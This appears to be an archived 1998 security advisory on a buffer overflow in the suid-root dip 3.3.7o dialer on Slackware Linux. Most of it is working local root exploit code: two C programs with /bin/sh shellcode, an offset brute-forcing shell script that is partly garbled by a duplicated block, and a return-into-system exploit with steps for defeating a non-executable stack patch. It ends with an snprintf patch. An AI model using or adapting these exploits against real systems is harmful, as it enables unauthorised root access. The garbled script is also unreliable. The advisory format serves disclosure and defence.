COMMAND
dip
SYSTEMS AFFECTED
Linux (with dip-3.3.7o - Slackware 3.4)
PROBLEM
Goran Gajic found following. There is potencial security hole in
dip-3.3.7o which is installed suid root in Slackware 3.4
distribution (if selected). Just try this:
~> dip -k -l `perl -e 'print "a" x 2000'`
and you will get something like:
DIP: cannot open /var/lock/LCK..aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaa:No such file or directory
Segmentation fault
If you look dip source, main.c, or do strace, you will find that
problem is with sprintf, line 192:
sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
Exploit follows (3.3.7o, 3.3.7 and some 3.3.7 cooking):
/*
dip 3.3.7o buffer overflow exploit for Linux. (May 7, 1998)
coded by jamez. e-mail: jamez@uground.org
thanks to all ppl from uground.
usage:
gcc -o dip-exp dip3.3.7o-exp.c
./dip-exp offset (-100 to 100. probably 0. tested on slack 3.4)
*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define SIZE 130
/* cause it's a little buffer, i wont use NOP's */
char buffer[SIZE];
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char * argv[])
{
int i = 0,
offset = 0;
long addr;
if(argc > 1) offset = atoi(argv[1]);
addr = get_esp() - offset - 0xcb;
for(i = 0; i < strlen(shellcode); i++)
buffer[i] = shellcode[i];
for (; i < SIZE; i += 4)
{
buffer[i ] = addr & 0x000000ff;
buffer[i+1] = (addr & 0x0000ff00) >> 8;
buffer[i+2] = (addr & 0x00ff0000) >> 16;
buffer[i+3] = (addr & 0xff000000) >> 24;
}
buffer[SIZE - 1] = 0;
execl("/sbin/dip", "dip", "-k", "-l", buffer, (char *)0);
}
And another example of code is:
/*
* dip-3.3.7o buffer overrun 07 May 1998
*
* sintax: ./dipr <offset>
*
*
* offset: try increments of 50 between 1500 and 3000
*
* tested in linux with dip version 3.3.7o (slak 3.4).
*
* by zef and r00t @promisc.net
*
* http://www.promisc.net
*/
#include <stdio.h>
#include <stdlib.h>
static inline getesp()
{
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv)
{
int jump,i,n;
unsigned long xaddr;
char *cmd[5], buf[4096];
char code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
jump=atoi(argv[1]);
for (i=0;i<68;i++)
buf[i]=0x41;
for (n=0,i=68;i<113;i++)
buf[i]=code[n++];
xaddr=getesp()+jump;
buf[i]=xaddr & 0xff;
buf[i+1]=(xaddr >> 8) & 0xff;
buf[i+2]=(xaddr >> 16) & 0xff;
buf[i+3]=(xaddr >> 24) & 0xff;
buf[i+4]=xaddr & 0xff;
buf[i+5]=(xaddr >> 8) & 0xff;
buf[i+6]=(xaddr >> 16) & 0xff;
buf[i+6]=(xaddr >> 16) & 0xff;
buf[i+7]=(xaddr >> 24) & 0xff;
cmd[0]=malloc(17);
strcpy(cmd[0],"/sbin/dip-3.3.7o");
cmd[1]=malloc(3);
strcpy(cmd[1],"-k");
cmd[2]=malloc(3);
strcpy(cmd[2],"-l");
cmd[3]=buf;
cmd[4]=NULL;
execve(cmd[0],cmd,NULL);
}
Here's the shell script for easy testing (for second code):
#/bin/bash
if [ ! -x /sbin/dip-3.3.7o ]
then
echo "could not find file \"/sbin/dip-3.3.7o\"";
exit -1
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
echo "dip executable is not suid"
exit -1
fi
if [ ! -x ./dipr ]
then
echo "could not find file \"./dipr\"";
echo "try compiling dipr.c"
exit -1
fi
x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
echo "dip executable is not suid"
exit -1
fi
if [ ! -x ./dipr ]
then
echo "could not find file \"./dipr\"";
echo "try compiling dipr.c"
exit -1
fi
x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
do
echo offset=$x
x=$[x+50]
./dipr $x
done
rm -f core
Thomas Troeger wanted to see if we can get a shell out of it even
on a system with installed stackpatch. So he develpoed the
following recipe. First, setup your directory like this:
ln -s /bin/sh a
ln -s /bin/sh aa
ln -s /bin/sh aaa
ln -s /bin/sh aaaa
ln -s /bin/sh aaaaa
ln -s /bin/sh aaaaaa
ln -s /bin/sh aaaaaaa
ln -s /usr/sbin/dip vul
Get the dip-3.3.7o-uri package and uncompress it. Take main.c and
edit it the following:
-------------- dip-3.3.7o/main.c line 194+ -----------------------
fp = fopen(buf, "r");
if (fp == (FILE *)0) {
fprintf(stderr, "DIP: cannot open %s: %s\n",
buf, strerror(errno));
+ fprintf(stderr, "labels: %p %p\n", &system, nam);
return;
}
------------------------------------------------------------------
Of course you can juat use gdb and issue the "p system" command as
well, that avoids getting the package. Now compile and run it,
you get:
pigsnspace$ dip -k -l aaaa
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open /usr/spool/uucp/LCK..aaaa: No such file or directory
labels: 0x80493e8 0xbffff6f0
Insert the first number you get into the following exploit:
/*
* Programm to get a shell from dip-3.3.7p on a system with
* Solar Designer's stackpatch installed.
* by tstroege@cip.informatik.uni-erlangen.de
*
* Of course this is just for educational purposes too :)
*/
#define SOMETEXT 0x0804cee5
/* address of text system call */
#define CMDSTR 0x08054f0e
/* address where command string should be */
#define DIP "/usr/sbin/dip"
/* path of dip */
int main(int argc, char *argv[]) {
char mem[256], *ptr;
char *name[]={ DIP, "-k", "-l", mem, (char *)0 };
int i, code[]={ SOMETEXT, CMDSTR, 0 };
int off=117;
if (argc > 1) off=atoi(argv[1]);
for (ptr=mem, i=0; i < 256; i++) *ptr++='a';
ptr=mem+off;
strcpy(ptr, (char *)&(code[0]));
mem[255]=0;
execve(name[0], name, 0);
return 0;
}
SOMETEXT:
address in text segment where system is called.
CMDSTR:
address in text segment where a suitable command string is stored
(dip is nice enough to have a /bin/sh string in its code).
The both addresses will be different on your system, so here is a
way to find them out:
...
objdump --disassemble-all /usr/sbin/dip
...
Now search for the following pattern:
...
0804ced4 pushl %ebx
0804ced5 pushl $0x8054848
0804ceda pushl $0x6
0804cedc call 08049678
0804cee1 addl $0xc,%esp
0804cee4 pushl %ebx
-->0804cee5 call 080493c8 SOMETEXT
0804ceea addl $0x4,%esp
0804ceed testl %eax,%eax
0804ceef jne 0804cf9e
0804cef5 pushl %esi
0804cef6 movl 0x8(%ebp),%eax
0804cef9 movl 0x660(%eax),%eax
0804ceff pushl %eax
...
0804eefd leal 0xfffffc00(%ebp),%eax
0804ef03 pushl %eax
0804ef04 pushl $0x8054f08
0804ef09 pushl $0x8054f0b
0804ef0e pushl $0x8054f0e<-- CMDSTR
0804ef13 call 08049368
0804ef18 pushl $0x7f
0804ef1a call 08049768
0804ef1f nop
...
SOLUTION
Here is obvious patch:
--- main.c Tue Feb 13 03:03:35 1996
+++ main.c Mon May 4 23:36:49 1998
@@ -189,7 +189,7 @@
return;
}
- sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
+ snprintf(buf, sizeof(buf), "%s/LCK..%s", _PATH_LOCKD, nam);
fp = fopen(buf, "r");
if (fp == (FILE *)0) {
Or
chmod -s dip